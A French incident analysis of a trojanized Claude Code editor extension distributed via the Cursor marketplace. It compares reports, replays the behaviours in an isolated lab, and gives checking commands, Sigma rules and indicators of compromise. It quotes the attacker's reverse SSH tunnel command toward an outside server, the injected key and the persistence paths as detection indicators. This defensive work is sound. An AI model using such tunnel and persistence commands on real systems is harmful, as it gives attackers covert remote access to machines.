Le 29 octobre 2026, la marketplace de l’éditeur Cursor a servi pendant environ onze heures une version 2.1.313 de l’extension anthropic.claude-code qui n’avait pas été écrite par Anthropic. Elle ajoutait une clé SSH de l’attaquant au poste, tentait d’ouvrir un tunnel inverse vers un serveur distant et installait de quoi survivre à la désinstallation de l’extension. Cursor parle d’au plus 5 000 utilisateurs exposés.
L’incident est couvert par OpenSourceMalware, OX Security, BleepingComputer et Help Net Security, qui se recoupent sur l’essentiel et divergent sur quelques points. J’ai lu ces sources, puis reproduit en laboratoire, sans échantillon réel et sans réseau externe, les comportements décrits pour voir ce que la détection y trouve vraiment. Voici le compte rendu de ce travail, avec ses limites, et une méthode pour vérifier un poste.
En bref
- Ce qui est établi : une version 2.1.313 modifiée, servie par la Cursor Marketplace entre environ 02h27 et 13h35 (heure du Pacifique) le 29 octobre, d’après Cursor. Un bloc de code est inséré avant le code légitime de
extension.jset s’exécute au chargement de l’extension, sans ouvrir Claude Code. - Ce qui ne l’est pas : la façon dont l’attaquant a pu publier sous le nom d’Anthropic, et si les systèmes de Cursor ou d’Anthropic ont été compromis. BleepingComputer l’écrit explicitement : question sans réponse à la date de l’article.
- Ce que j’ai mesuré : en laboratoire, les quatre comportements (clé, fichiers cachés, cron, tunnel) sont tous visibles dans un journal
auditdstandard, mais ma première règle de détection était aveugle, et un enregistrement de fichier ne prouve pas à lui seul qu’une écriture a réussi : j’ai dû affiner mes règles. - Pour savoir si vous êtes touché : chercher la clé
svc-telemetrydans~/.ssh/authorized_keys, les fichiers~/.config/.smtet.smtk, et, sur macOS, le LaunchAgentcom.apple.sysmond. Désinstaller l’extension ne suffit pas à nettoyer.
Ce que disent les sources, et où elles divergent
Les faits suivants viennent de Cursor, relayés par les médias ; ils n’ont pas été vérifiés indépendamment.
| Point | Ce qui est rapporté |
|---|---|
| Version | anthropic.claude-code 2.1.313 |
| Fenêtre | ≈ 02h27 → 13h35 PT le 29/10 (≈ 11 h) |
| Exposition | « au plus 5 000 utilisateurs » (plafond, pas un décompte de victimes) |
| Attribution | Cursor : cette version « n’a pas été développée par Anthropic » |
| Réponse de Cursor | retrait de l’extension, fermeture temporaire de la marketplace, rotation des clés, serveur de l’attaquant mis hors ligne avec l’hébergeur |
Trois points divergent entre les sources, et il vaut mieux les montrer que choisir.
Open VSX. Un premier rapport (Phorion, cité par Help Net Security) affirmait que le paquet avait aussi été repéré sur Open VSX. Manifold Security l’a contesté, et BleepingComputer écrit qu’il a ensuite été confirmé que Cursor était la seule source de distribution. Le paquet npm @anthropic-ai/claude-code, l’extension du Marketplace de VS Code et celle d’Open VSX ne sont pas concernés selon OpenSourceMalware et Cursor.
Linux. OpenSourceMalware et Help Net Security décrivent une persistance par cron @reboot sous Linux. OX Security, qui a analysé les paquets darwin-arm64 et win32-x64, ne liste aucun artefact Linux. Je rapporte donc la persistance Linux comme décrite par deux sources, non confirmée sur un paquet Linux.
La portée sur macOS. Cursor indique que l’activation de SSH demande des droits administrateur que l’extension n’a généralement pas, ce qui limiterait l’impact. Phorion répond, d’après Help Net Security, qu’un échec d’activation ne protège pas si Remote Login est déjà actif. Ma lecture, déduite de ce que j’ai vu en laboratoire : la clé et le tunnel sortant sont posés indépendamment de l’activation du service, donc l’exposition dépend de l’état de SSH sur le poste au moment de l’attaque.
Anatomie de l’attaque
La description suivante vient d’OpenSourceMalware et d’OX Security, qui concordent. OpenSourceMalware précise que la provenance du répertoire qu’il a analysé n’est pas établie ; OX ne publie pas d’extrait de code. Aucun code n’est donc reproduit ici.
- Exécution. Un bloc de 66 lignes, exécuté dès le chargement de
extension.js, avant le code légitime. Le paquet ne déclare aucun scriptpostinstall, donc l’absence de script d’installation ne rassure pas : l’exécution se fait à l’activation de l’extension. - Accès. Ajout d’une clé ed25519 de commentaire
svc-telemetrydans~/.ssh/authorized_keys. - Activation de SSH. Tentative selon l’OS (
systemsetup -setremotelogin onsur macOS,Add-WindowsCapabilitypour OpenSSH sous Windows). OX note que cette étape échoue presque toujours sans droits administrateur, sans interrompre la suite. - Tunnel inverse. Une clé privée embarquée est écrite dans
$TMPDIR/.stk_<10 hex>puis unssh -N -R '*:0:localhost:22'part verstunnel@134.209.82.225, avecStrictHostKeyChecking=no,ServerAliveInterval=30etExitOnForwardFailure=yes.-R *:0:localhost:22demande au serveur d’allouer un port distant qui redirige vers le port 22 du poste : c’est ce qui donnerait à l’attaquant un accès SSH au poste sans avoir à joindre celui-ci directement. - Reconnaissance. Après 1,5 seconde, un JSON est envoyé en HTTP clair vers
134.209.82.225:8099/beacon: nom d’hôte, utilisateur, OS, architecture, répertoires, e-mail Git global, IP publique, et jusqu’à 40 noms de variables d’environnement sensibles (pas leurs valeurs). - Persistance. Voir ci-dessous.
OpenSourceMalware relève qu’aucun second étage n’est téléchargé : c’est un accès, pas un voleur de secrets. Cette absence de second étage repose sur une seule analyse. Elle ne rend pas l’incident inoffensif, puisque c’est un accès persistant à des postes de développeurs.
Persistance par système
| OS | Artefacts (sources : OX Security, OpenSourceMalware) |
|---|---|
| macOS | ~/.config/.smt, ~/.config/.smtk, LaunchAgent ~/Library/LaunchAgents/com.apple.sysmond.plist (le nom imite un composant Apple) |
| Windows | .config\smt.cmd, .config\smtk, tâche planifiée SysMon (tentative en SYSTEM), repli dans le dossier Démarrage sysmon.cmd |
| Linux | mêmes fichiers dans ~/.config, entrée crontab @reboot (décrite par deux sources, pas par OX) |
La conséquence pratique est celle que tous les rapports soulignent : retirer l’extension ne retire ni la clé, ni le LaunchAgent, ni la tâche planifiée. Ce sont des scripts autonomes qui continuent de s’exécuter.
Comment vérifier si un poste est touché
Une extension à jour ne prouve rien : la version 2.1.314 a remplacé la 2.1.313, mais elle ne retire pas ce que la version piégée a déposé. Il faut donc chercher la persistance, pas seulement la version installée. Voici la méthode, qui ne modifie rien sur le poste.
- Dater l’exposition. L’extension a-t-elle été installée ou mise à jour via Cursor le 29 octobre 2026 ? Si ce n’est pas le cas, l’exposition est peu probable, mais les contrôles suivants coûtent peu.
- Chercher la version et le code. Dans les dossiers d’extensions de l’éditeur (
~/.cursor/extensions,~/.vscode/extensions), repérer un dossieranthropic.claude-code-2.1.313*et chercher les chaînes de l’incident dansextension.js. - Chercher la clé SSH
svc-telemetrydansauthorized_keys. - Chercher la persistance : les fichiers cachés
.smtet.smtk, le LaunchAgentcom.apple.sysmondsur macOS, la tâcheSysMonsous Windows, une entrée@rebootdans la crontab sous Linux. - Chercher le tunnel : un processus
sshouautosshavec-R *:0:localhost:22, ou une connexion vers134.209.82.225. - Interpréter avec trois résultats distincts :
- Indicateur trouvé : suspicion sérieuse de compromission, à investiguer (voir « Que faire »).
- Aucun indicateur trouvé : aucun des artefacts recherchés n’a été observé. Cela ne prouve pas l’absence de compromission : une clé a pu être supprimée, un fichier renommé, le tunnel n’être plus actif, ou le poste réinstallé depuis.
- Poste exposé pendant la fenêtre (extension installée ou mise à jour via Cursor le 29 octobre, même corrigée depuis) : un contrôle approfondi se justifie même sans indicateur. Relire les journaux SSH (
/var/log/auth.logoujournalctl -u sshsous Linux,log show --predicate 'process == "sshd"'sous macOS, commandes à adapter à votre système), les connexions sortantes vers134.209.82.225si vous avez des journaux réseau, et passer en revue les clés deauthorized_keysune par une.
macOS et Linux (testées sous zsh et bash ; chaque commande n’affiche rien si elle ne trouve rien) :
find ~/.cursor/extensions ~/.vscode/extensions -path '*anthropic.claude-code-*' -name extension.js \
-exec grep -l -E "134\.209\.82\.225|svc-telemetry|com\.apple\.sysmond" {} + 2>/dev/null
find ~/.cursor/extensions ~/.vscode/extensions -maxdepth 1 -name 'anthropic.claude-code-2.1.313*' 2>/dev/null
grep -n "svc-telemetry" ~/.ssh/authorized_keys 2>/dev/null
ls -la ~/.config/.smt ~/.config/.smtk \
~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/null
crontab -l 2>/dev/null | grep -n "@reboot"
launchctl list 2>/dev/null | grep sysmond
ps -axo pid,command | grep -E "ssh -N|autossh" | grep -E "\-R '?\*:0:localhost:22"
netstat -an 2>/dev/null | grep "134.209.82.225"
Windows (PowerShell, commandes non testées) :
Select-String -Path "$env:USERPROFILE\.ssh\authorized_keys" -Pattern "svc-telemetry"
Test-Path "$env:USERPROFILE\.config\smt.cmd", "$env:USERPROFILE\.config\smtk"
Test-Path "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd"
schtasks /query /tn SysMon
Get-NetTCPConnection -RemoteAddress 134.209.82.225 -ErrorAction SilentlyContinue
Si un indicateur apparaît, ne supprimez rien avant d’avoir conservé les preuves : voir la section « Que faire ». Un script en lecture seule qui enchaîne ces contrôles est dans le dépôt de recherche ; je l’ai testé sur un poste macOS sain (aucun indicateur) et sur un faux profil contenant des artefacts inertes (6 indicateurs), pas sur un vrai échantillon.
Mon laboratoire : ce que la détection voit vraiment
Je voulais savoir si les indicateurs publiés se retrouvent dans de la télémétrie réelle, et si les règles que j’allais écrire se déclenchent.
Environnement. Une VM Debian 12 dédiée, avec auditd. Deux comptes jetables : une « victime » et un « relais » qui n’accepte que la clé de tunnel. Aucun échantillon réel : je rejoue à la main le comportement décrit, et le « serveur de l’attaquant » est le sshd de la VM elle-même, joint par 127.0.0.1. Les clés sont générées pour l’occasion (le commentaire svc-telemetry est reproduit, la vraie clé de l’attaquant n’est jamais utilisée). Des règles auditd surveillent authorized_keys, ~/.config, le répertoire des crontabs et l’exécution de ssh/autossh.
Ce que j’ai rejoué : ajout de la clé, création des deux fichiers cachés, dépôt de la clé de tunnel dans /tmp/.stk_<hex>, entrée @reboot dans la crontab, puis le tunnel avec les mêmes options que celles publiées par OX.
Ce que j’ai observé.
- Les quatre comportements ont produit des événements
auditd. L’écriture deauthorized_keys, la création de.smtet.smtk, l’écriture danscrontabs/et l’execvedesshsont tous enregistrés, avec l’exécutable, l’utilisateur et l’identifiant de session. - Le tunnel s’établit :
Allocated port 39199 for remote forward to localhost:22. Le port distant est choisi par le serveur, pas par le client, ce qui empêche de le surveiller côté poste par un numéro fixe. Dans mon montage, il écoute en loopback parce que le serveur de test a les réglages SSH par défaut ; sur le vrai serveur, c’est le réglage de l’attaquant. - Le journal
sshddu relais enregistreAccepted publickeypour la clé de tunnel. - La ligne de commande de
sshest stockée en hexadécimal dans l’enregistrementPROCTITLEd’auditd, avec des octets nuls entre les arguments. Une règle qui compare du texte sans décoder cette valeur ne verra rien. Décodée, on retrouvessh -N -R *:0:localhost:22 -i /tmp/.stk_7846d2c54e -o StrictHostKeyChecking=no ....
Ce qui a changé mes règles. Mon premier essai cherchait authorized_keys et svc-telemetry dans la ligne de commande. Il aurait été aveugle sur mon premier test : l’ajout fait depuis un script lancé par fichier n’a laissé que bash comme commande, et un simple openat sur le chemin. J’ai ensuite rejoué trois écritures pour savoir ce que voit réellement une règle posée sur le fichier :
| Cas | SYSCALL |
PATH |
Ce que cela montre |
|---|---|---|---|
Écriture réussie : bash -c 'echo "… svc-telemetry" >> authorized_keys' |
success=yes, exe=/usr/bin/bash, ouverture en écriture (a2=441) |
présent | ici la ligne de commande contient le nom de la clé |
Ajout légitime d’un administrateur : sudo tee -a |
success=yes, exe=/usr/bin/tee, uid=0 |
identique au cas précédent | faux positif réel : seul le SYSCALL distingue les deux |
| Tentative refusée (fichier rendu immuable) | success=no |
présent, identique | un PATH n’est pas la preuve d’une écriture |
La ligne de commande dépend donc de la façon dont l’écriture est lancée (absente dans un script lancé par fichier, présente avec bash -c), et je ne sais pas comment le vrai chargeur écrit le fichier : je ne peux pas m’y fier. Une règle sur le fichier lui-même, corrélée avec le SYSCALL du même événement, est plus sûre. C’est le type d’erreur qu’une relecture ne montre pas et qu’un test montre. Les trois événements bruts sont dans le dépôt de recherche.
Limites de ce labo. Il rejoue les comportements en bash, pas depuis Node, d’où s’exécute vraisemblablement le vrai chargeur : les appels système sont comparables, pas forcément identiques. Il ne couvre ni macOS (le LaunchAgent) ni Windows. Le @reboot a été écrit et relu, pas exercé par un redémarrage. Wazuh n’est pas installé sur cette VM, donc aucune règle Wazuh n’est annoncée ici. Enfin, ausearch -k a répondu « no matches » alors que le log contenait les événements avec la clé ; je les ai extraits par grep du fichier brut sans chercher plus loin.
Trois règles de détection
Elles passent sigma check sans erreur et se convertissent en requêtes Splunk avec sigma convert. La règle sur le tunnel a en plus été confrontée à la ligne de commande réellement capturée. Elles n’ont pas été exécutées dans un moteur de détection en production. Les fichiers complets sont dans le dépôt de recherche.
1. Tunnel SSH inversé à port distant dynamique (Linux, création de processus) :
title: Tunnel SSH inversé à port distant dynamique vers localhost:22
status: experimental
tags: [attack.command-and-control, attack.t1572, attack.t1021.004]
logsource: { category: process_creation, product: linux }
detection:
selection_bin:
Image|endswith: ['/ssh', '/autossh']
selection_flag:
CommandLine|contains: ' -R'
selection_forward:
CommandLine|contains: [':0:localhost:22', ':0:127.0.0.1:22']
condition: selection_bin and selection_flag and selection_forward
level: high
2. LaunchAgent com.apple.sysmond (macOS, événement fichier) : création de .../Library/LaunchAgents/com.apple.sysmond.plist. C’est un indicateur propre à cette campagne, pas une preuve générale : un nom en domaine inversé com.apple.* ne prouve ni l’origine ni la légitimité d’un fichier, et un attaquant peut en changer. Une détection plus robuste, que je n’ai ni écrite ni testée, combinerait le chemin, le nom, le contenu du plist (programme lancé situé dans ~/.config, RunAtLoad, KeepAlive), le processus créateur et la signature du programme lancé.
3. Accès en écriture à authorized_keys (Linux, auditd), la version corrigée après mes essais :
title: Accès en écriture à authorized_keys remonté par une surveillance de fichier auditd
status: experimental
tags: [attack.persistence, attack.t1098.004]
logsource: { product: linux, service: auditd }
detection:
selection:
type: 'PATH'
name|endswith: '/.ssh/authorized_keys'
nametype: 'NORMAL'
condition: selection
falsepositives:
- ssh-copy-id, outils de gestion de configuration, administrateurs
level: medium
Cette règle reste expérimentale : c’est une base de surveillance, pas une détection finie. Elle signale tout enregistrement PATH sur le fichier, donc les trois cas du tableau. Pour en faire une alerte, il faut corréler, par numéro de série d’événement, avec le SYSCALL (success=yes, ouverture en écriture), puis filtrer sur exe, auid et le processus parent pour écarter vos outils d’administration. Cette corrélation dépend de votre chaîne de collecte et de normalisation ; je ne l’ai pas implémentée dans un moteur, elle est à valider chez vous. La règle ne repose pas sur le nom de la clé, trivial à changer ; celle sur le tunnel est, comme celle du LaunchAgent, calée sur cette campagne : un attaquant qui change le format de la redirection ou le nom du fichier la contourne.
Que faire
- Vérifier : exécuter les contrôles ci-dessus sur chaque poste de développeur qui a installé ou mis à jour l’extension via Cursor le 29 octobre.
- Si un indicateur est trouvé : isoler la machine, conserver les preuves avant de supprimer quoi que ce soit (journaux SSH, listes de processus, fichiers de persistance), bloquer
134.209.82.225en TCP 22 et 8099, retirer la clé, la persistance et les processus de tunnel, puis faire tourner les identifiants accessibles depuis un système sain. Les sources recommandent de reconstruire la machine plutôt que de supposer que le nettoyage des artefacts connus suffit, et c’est un conseil raisonnable : un accès SSH de plusieurs heures peut avoir servi à bien plus que ce que le chargeur fait lui-même. - Traiter les secrets comme exposés si un indicateur est trouvé et que leurs noms figuraient dans les variables d’environnement du poste : le beacon envoie la liste de leurs noms, pas leurs valeurs. Si le tunnel a abouti et que le SSH du poste était joignable, l’accès permettrait de les lire ; rien dans les sources ne dit que c’est arrivé.
- Durcir : épingler la version des extensions des éditeurs et désactiver leur mise à jour automatique dans les environnements sensibles, surveiller les écritures dans
authorized_keys, et limiter le SSH sortant des postes de travail vers Internet, ce qui aurait bloqué l’étape du tunnel.
Conclusion
Ce qu’il faut retenir tient en une phrase : une extension d’éditeur s’exécute avec les droits de l’utilisateur dès son chargement, et, selon les informations publiées par Cursor, la version malveillante a été distribuée depuis sa marketplace et n’a pas été développée par Anthropic. Le mécanisme exact ayant permis sa publication reste à établir, de même que l’éventuelle compromission de systèmes de Cursor ou d’Anthropic et le nombre de postes réellement atteints. Côté défense, le résultat concret de mon laboratoire est plus modeste mais utile : les indicateurs publiés se retrouvent bien dans de la télémétrie auditd, à condition de décoder les commandes, de ne pas compter sur la ligne de commande pour repérer l’ajout d’une clé, et de ne pas prendre un simple enregistrement de fichier pour la preuve d’une écriture réussie.
L’enquête continue : je n’ai pas pu lire l’annonce de Cursor ni le communiqué d’Anthropic, et je n’ai pas évalué les scripts de nettoyage de Cursor. Cet article sera mis à jour si l’un d’eux change un fait établi.
Sources
- OpenSourceMalware, « Trojanized Claude Code Extension Plants Persistent SSH Backdoor », 30 octobre 2026 : lien.
- Nir Zadok, OX Security, « Compromised Claude Code Extension (2.1.313) in Cursor Marketplace Plants Attacker SSH Key and Persistence », 30 octobre 2026 : lien.
- Bill Toulas, BleepingComputer, « Malicious Claude Code extension on Cursor planted SSH backdoors », 30 octobre 2026 : lien.
- Help Net Security, « Claude Code extension poisoned with persistent SSH backdoor », 30 octobre 2026 : lien.
- Dépôt de recherche de cette investigation : Threat-Hunting, cas Cursor / Claude Code 2.1.313 — sources, affirmations, IOCs, journal d’expériences, preuves
auditd, règles Sigma et script de vérification. - Annonce de Cursor sur X, citée par OpenSourceMalware, non consultée directement : lien.
Annexe : indicateurs de compromission
Réseau désarmé. Ces valeurs viennent d’OpenSourceMalware et d’OX Security ; je ne les ai pas reproduites indépendamment.
| Type | Valeur |
|---|---|
| Extension | anthropic.claude-code 2.1.313 (Cursor Marketplace) |
| VSIX darwin-arm64, SHA-256 | 432ccdee3801f99e52b8fe31f69ea9870118e96ea7ef9ecabed1479621b5ab62 |
| VSIX win32-x64, SHA-256 | 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081 |
extension.js, SHA-256 (plateforme non précisée) |
ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 |
| Clé SSH ajoutée | ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry |
| Empreinte de cette clé | SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk |
| Empreinte de la clé de tunnel | SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ |
| Serveur | 134[.]209[.]82[.]225 (SSH 22, tunnel@ ; HTTP 8099 /beacon) |
| Fichiers | ~/.config/.smt, ~/.config/.smtk, $TMPDIR/.stk_<10 hex>, ~/Library/LaunchAgents/com.apple.sysmond.plist, smt.cmd, sysmon.cmd |
| Windows | tâche planifiée SysMon |
| Ligne de commande | ssh -N -R '*:0:localhost:22', autossh -M 0 |
